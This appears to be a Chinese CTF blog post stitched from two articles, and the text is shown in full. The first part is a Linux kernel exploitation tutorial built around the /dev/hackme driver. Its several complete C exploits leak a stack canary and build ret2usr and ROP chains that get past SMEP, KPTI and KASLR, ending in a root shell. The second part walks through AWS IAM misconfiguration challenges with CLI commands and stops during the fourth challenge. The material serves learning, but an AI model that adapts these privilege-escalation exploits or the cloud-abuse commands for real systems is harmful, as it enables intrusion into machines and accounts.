Pointer, RSP) 的值,以便将堆栈指针切换回用户栈上。 iretq还原的值的顺序为RIP|CS|RFLAGS|SP|SS,那么在iret指令中按顺序填充RIP、CS、RFLASG、RSP以及SS的值即可,因此在执行iretq之前需要将在用户态下将这些值进行保存。并且RIP指向的值为system("/bin/sh")函数的地址即可。 保存寄存器的汇编代码如下 __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); 在iretq指令后跟随的值如下 exp 因此最后构造的exp如下 #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred */ unsigned long user_sp, user_cs, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } unsigned long user_rip = (unsigned long)backdoor; void lpe() { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() { unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0; } 绕过SMEP SMEP保护是防止内核执行用户空间的代码,而上述的exp则是将利用过程是将汇编语言写在用户空间中,因此在SMEP的保护下,上述的利用会失效。下面将介绍绕过SMEP的几种方法。 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nokaslr nopti quiet panic=1" \    -s 修改CR4寄存器 前面说过开启SMEP保护实际是将CR4寄存器的第20比特位置为1 那么一个简单的想法就是将CR4寄存器的第20比特位重写为0,关闭SMEP的保护就可以使用上述的利用手法了。那么写cr4寄存器的是通过native_write_cr4函数,将需要改写的值以参数的形式传入进去,因此此时需要一个pop rdi; ret的gadget。 找到native_write_cr4函数 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff81006370: pop rdi; ret; 0xffffffff814443e0 T native_write_cr4 */ unsigned long user_sp, user_cs, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } unsigned long user_rip = (unsigned long)backdoor; void lpe() { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() { unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; // pop rdi; ret; payload[index++] = 0x00000000000060; payload[index++] = 0xffffffff814443e0; //native_write_cr4 payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0; } 但是在这个版本下的内核已经无法通过native_write_cr4函数改写CR4寄存器了,可以通过dmesg打印日志信息,可以发现 提示pinned CR4 bits changed: 0x100000!?的错误,并且CR4的值也没有被修改,这是因为在当前的内核版本中增加了校验,若后续通过native_write_cr4函数修改的值与启动的值不一致则会报错,并且将值修改为回来的值。 可以看到补丁的说明,在启动后CR4的值无法被修改。因此在改利用手法只能在对CR4进行校验的版本下使用。 构造逃逸ROP 由于SMEP只是杜绝了执行用户态的代码,因此利用ROP的思路,在内核态完成ROP链的构造,并且执行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq的流程。 那么此时需要什么样的gadget则是构造逃逸ROP的重点,由于需要手动传参调用上述的攻击链,因此需要 pop rdi; ret; mov rdi , rax; ret,这里需要注意的是,我们需要prepare_kernel_cred(0)执行的返回值,因此需要将rax寄存器的值传递给rdi寄存器 swags; ret iretq 除了mov rdi, rax; ret以外,其余的gadget都可以很轻松的搜索出来,但是内核中不存在mod rdi, rax; ret这样的gadget,因此需要想办法找到其他的gadget,这里我找到如下的组合,通过构造rdi与rsi的值,使得rdi = rsi从而导致jne的跳转无法执行,那么就可以在执行mov rdi, rax的情况下可以跳过jne的跳转指令执行到ret指令。 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; 因此ROP逃逸的思路与在用户态的ROP区别不大,只要找到合适的gadget即可 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 栈迁移 栈迁移能使用的场景是当我们需要构造的ROP链大于能溢出的字节数时采用的与用户态不同的是在内核中存在很多可以修改RSP指针的gadget可以使用。这里我找到的gadget是,通过pop rbp; ret与mov rsp, rbp结合,就能够篡改rsp为任何值。 0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret; 0xffffffff810062dc: mov rsp, rbp; pop rbp; ret; 那么需要将rsp篡改为何值,此时就需要结合mmap函数,该函数能够在用户空间中开辟一段内存,该内存的属性可以自定义,因此思路则是将rsp的值指向mmap开辟的地址,通过栈迁移技术,将栈迁移到mmap的地址值,我们在将ROP链填充到mmap开辟的内存中即可,这里对mmap函数进行一个介绍。 mmap函数 void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); addr:开辟的地址值,若为0则操作系统自行选择,否则为填充的值,该地址的值需要页对齐(0x1000),并且最小的值需要为0x10000(这里是我自己测试的) length:内存的大小 prot:权限 PROT_EXEC,执行权限 PROT_READ,读权限 PROT_WRITE,写权限 PROT_NONE,没有任何权限 flags:标志位,mmap函数可以设置的标志位有很多,这里着重介绍一些常用的 MAP_SHARED:共享映射,映射的内容可以被其他进程所看到,同时能够同步到底层的文件 MAP_PRIVATE:私有映射,映射的内容不能被其他进程所看到,也不会同步到底层的文件 MAP_ANONYMOUS:匿名映射,是一种不映射文件的映射 MAP_FIXED:固定映射,即映射地址必须是addr所指定的,若该地址被占用则mmap返回错误 fd:需要映射的文件描述符,若是匿名映射则设置为-1 offet:映射的偏移,即选择从哪个位置开始映射 映射代码如下,这里需要注意的是,由于我们只需要在用户空间中任意开辟一段可执行的内存,因此只需要进行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUS与MAP_FIXED的标志位需要被指定,然后是MAP_SHARED与MAP_PRIVATE必须两个中指定一个,否则也会报错,因为这两个参数指明的是修改的内容是否会影响其他进程或者是底层的文件。 栈迁移完成 将ROP链部署在了映射内存中 最后是遇到的小疑惑,刚开始学习到栈迁移的时候会觉得奇怪,因为mmap开辟的内存是在用户态的,SMEP则是禁止执行用户态的代码,为什么使用栈迁移可以绕过SMEP,后面理解发现,我们只是访问了用户空间的地址即0x2000,但是这段用户态空间填写的地址都是内核态的地址,因此总结流程则是我们在用户态空间中填充了内核态的地址,在进行栈迁移绕过SMEP时,仅仅是访问了用户态空间的地址,最后执行时还是执行的内核态的地址,因此SMEP无法阻碍这种利用。而这也正是SMAP与SMEP的区别,SMAP则是无法读写用户态空间,因此若开启了SMAP,那么该利用手法则无法进行。 绕过KPTI KPTI(Kernel Page Table Isolation)是一种针对 Intel处理器的内核保护机制,用于减轻 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影响。KPTI的主要目的是隔离内核地址空间和用户地址空间,防止恶意程序通过访问内核地址空间来窃取敏感数据。 简单来说就是KPTI的保护即将用户空间的页与内核内核空间的页完全分隔开,那么在使用上述代码进行利用的时候会报出段错误,因为在内核空间的页中没办法找到用户空间的代码。 那么有两种方式可以绕过KPTI 捕获Segmentation fault的异常,在异常处理中调用system(/bin/sh) 切换页表,将内核空间的页表切换到用户空间中去 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nokaslr kpti=1 quiet panic=1" \    -s 使用异常处理 使用异常处理非常简单,只需要注册一个异常处理的函数去捕获SIGSEGV信号,在捕获到该信号时执行异常处理函数,可自定义为system("/bin/sh") signal(SIGSEGV, backdoor); exp #include <stdio.h> #include <fcntl.h> #include <signal.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); signal(SIGSEGV, backdoor); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 使用swapgs_restore_regs_and_return_to_usermode 第二种方式则是修改页表,CR3 寄存器是 x86架构中的一种控制寄存器,用于存储页目录表(Page DirectoryTable)的物理地址。因此若能够修改CR3的值为用户空间的页表,那么就可以完成页表的切换,从而正常执行利用代码了。 那么在内核中存在一个函数swapgs_restore_regs_and_return_to_usermode,swapgs_restore_regs_and_return_to_usermode 函数是在 x86架构中用于从内核态切换到用户态的汇编代码片段。这个函数的作用是在内核态执行完系统调用或中断处理程序后,恢复用户态进程的寄存器状态,并返回到用户态进程的执行点继续执行。 在内核中搜索该函数的地址 可以看到在该函数的内部存在修改CR3的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表,但是该函数的起始位置会进行非常多的弹栈操作,如果直接使用很容易造成ROP链的空间不足,因此可以选择在swapgs_restore_regs_and_return_to_usermode + 0x16的位置开始执行。 在该函数后续的执行中,还会执行swapgs的指令,切换GS的寄存器,并且做一个绝对跳转到0xffffffff81200fco 在该地址的后续还存在这iretq的指令,因此该函数具备了所有的条件。 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; 0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 绕过SMAP SMAP则是防止在内核态时访问用户态的空间,此时使用swapgs_restore_regs_and_return_to_usermode函数也是完全可以绕过的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode构建的ROP链。 但是如果遇到长度不够时,就能够将栈迁移到用户空间上了,因为在开启SMAP保护的时候就没有办法访问用户空间。那么此时只能借助内核的其他空间进行栈迁移,该手法利用比较复杂,因此留到以后再介绍。 绕过KASLR KASLR与用户态下的ASLR差不多,都是开启了地址的随机化,因此不能使用绝对地址。 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep,+smap \    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 kaslr nofgkaslr kpti=1 quiet panic=1" \    -s 泄露内核地址 通过泄露内核的程序基地址,再加上函数的偏移即可绕过,与用户态下的利用没有区别。 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds -- [-3701815] 0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823] 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139] 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308] 0xffffffff81006370: pop rdi; ret; -- [-8682711] 0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832] 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318] 0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028] 0xffffffff8150b97e: pop rsi; ret; -- [-3417801] 0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159] */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; unsigned long leak_addr = buf[10]; printf("leak addr:0x%lx\n", leak_addr); //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 0; payload[index++] = leak_addr - 3700823; //prepare_kernel_cred payload[index++] = leak_addr - 3417801; //pop_rsi_ret payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 1; payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 3701815; //commit_creds; payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); }
IAM风险CTF挑战赛
wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置,并从现实场景中学习,从而更好的认识和了解IAM相关的风险。比赛包括6个场景,每个场景都专注于各种AWS服务中常见的IAM配置错误。 Challenge1: Buckets of Fun We all know that public buckets are risky. But can you find the flag? 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",   //Effect(效果)设置为Allow(允许)           "Principal": "*",   //Principal(主体)是所有用户("*")           "Action": "s3:GetObject", //获取对象           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存储桶中的所有对象       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",   //列出存储桶           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",             "Condition": {     //条件是通过前缀限制只能列出以"files/"为前缀的对象               "StringLike": {                   "s3:prefix": "files/*"               }           }       }   ] } 该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险: 1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。 2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象 解题思路: 针对s3存储桶权限校验不严格,列出桶资源对象并使用查看对象内容获取flag。 1、获取该存储桶中的对象 aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 得知files目录下存在flag1.txt文件,将其下载到本地,这里提示Read-only file system(只读文件系统)错误,权限问题,我们将其下载到/tmp目录下: aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt 另外也可以直接网络访问获取: http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt 获得flag如下: {wiz:exposed-storage-risky-as-usual} Challenge2: We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong? Join our queue and get the secret flag. 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": [               "sqs:SendMessage",     //发送消息               "sqs:ReceiveMessage" //接收消息           ],           "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"       }   ] } 该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作,即发送和接收消息。该策略存在如下安全风险: 1、该策略将操作权限授予了所有用户("*"),意味着任何具有该策略的用户或角色都可以发送和接收消息。 2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。 解题思路: 针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。 1、接受消息队列中的信息 aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 2、获取html文件内容 https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html 获得flag如下: {wiz:you-are-at-the-front-of-the-queue} Challenge3: Enable Push Notifications We got a message for you. Can you get it? 查看提示并获取本关的IAM策略如下: {   "Version": "2008-10-17",   "Id": "Statement1",   "Statement": [       {           "Sid": "Statement1",           "Effect": "Allow",           "Principal": {               "AWS": "*" //允许任何AWS用户           },           "Action": "SNS:Subscribe",       //订阅操作           "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",   //主题ARN           "Condition": {               "StringLike": {                   "sns:Endpoint": "*@tbic.wiz.io" //订阅条件               }           }       }   ] } 该策略允许任何AWS用户对指定的SNS主题(ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险: 全局访问权限:该策略中指定了允许任何AWS用户("*")执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。 通配符条件:该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。 解题思路: 1、订阅SNS主题 在订阅时由于调阅条件的限制,先尝试将订阅消息发送到email邮箱账号,但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号,因此需要对此处进行绕过。 AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题: aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint> <主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等,订阅者的Endpoint具体根据策略中的条件要求。 对该题目设置SNS订阅: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io 2、订阅条件限制绕过 尝试使用http协议进行代理监听的方式获取订阅消息: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io 接收到来自sns的订阅确认,消息提示点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息: 获取到flag如下: {wiz:always-suspect-asterisks} Challenge4: Admin only? We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it? 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:GetObject",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",           "Condition": {               "StringLike": {                   "s3:prefix": "files/*"               },               "ForAllValues:StringLike": {                   "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"               }           }       }   ] } 该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明(Statement): 1、声明一允许任何用户存储桶执行GetObject操作,访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。 2、声明二允许任何用户对S3存储桶执行ListBucket操作,列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头,并且访问资源的主体是arn:aws:iam::133713371337:user/admin。 解题思路: 看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin,便想着如何获取到该用户的凭据,然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露,且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz,Fuzz出如下路径: /thebigiamchallenge-admin-storage-abf1321/files/   /thebigiamchallenge-admin-storage-abf1321/files/cache/ /thebigiamchallenge-admin-storage-abf1321/files/tmp/ 